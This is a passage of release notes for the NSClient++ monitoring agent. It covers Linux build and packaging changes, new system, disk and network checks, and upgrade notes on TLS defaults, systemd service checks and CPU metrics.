  • Reduced Linux build dependencies: the build now uses libzip (instead of vendored Miniz), can use the system Google Test, and degrades cleanly when an optional dependency is missing. Linux uses the Boost.Beast web backend by default.

๐Ÿ“š Documentation and tests

  • New Linux Server Health scenario, plus updated cross-platform Network Checks, Disk Space Alerting, Service & Process Monitoring and Real-Time System Monitoring scenarios.
  • New docs/samples/ usage examples and clarifying descriptions for every new command.
  • Extensive new unit tests (CheckSystemUnix, CheckDisk unix, CheckNet) and REST-driven integration tests under tests/ covering the new system, disk and network checks.

โš ๏ธ Upgrade notes

A few defaults were tightened for security and the Linux packaging layout changed. None of these affect a normal Windows MSI upgrade, but Linux users and anyone running the web server in cleartext should read this section.

  • The web server refuses to run unencrypted by default. If you intentionally run the web server in cleartext (e.g. behind a TLS-terminating proxy, or on an isolated network), set allow insecure = true:
[/settings/WEB/server]
allow insecure = true

Otherwise, provide a certificate (certificate = โ€ฆ). If you do nothing and the server has no certificate, it logs an error and does not start the listener. - The web UI is a separate download on Linux (.deb / .rpm). After installing the package, run sudo nscp web install-ui to fetch the matching UI bundle. Until then the web port serves a built-in placeholder; the REST API and all listeners work normally without it. The Windows MSI still bundles the UI inline. - Linux install layout now follows the FHS / install prefix. The official .deb/.rpm install to /usr (daemon /usr/sbin/nscp, config /etc/nsclient, state/logs under /var). If you patched hardcoded paths to build for a custom location, pass -DCMAKE_INSTALL_PREFIX (and the standard CMAKE_INSTALL_*DIR knobs) instead. - Linux check_service now targets systemd. If you previously scripted around the old behaviour, note the normalised state keyword and the default expression that keeps disabled units OK. Match units by unit name (e.g. service=ssh), and use state, active, sub_state and preset in thresholds. - Linux check_process reports delta CPU. CPU is now the usage between samples rather than lifetime CPU. Review any CPU thresholds that assumed the old semantics. - Linux disk I/O needs one collector sample. The first check_disk_io / check_disk_health query immediately after startup may return UNKNOWN (“collector still initializing”); this is invisible with a running service and normal in one-shot testing. - check_tcp / check_http boolean ssl. Enable TLS with ssl=true. When verifying certificates, set verify=peer and provide a ca= bundle; the default remains verify=none.

Download

You can download the new version from GitHub

// Michael Medin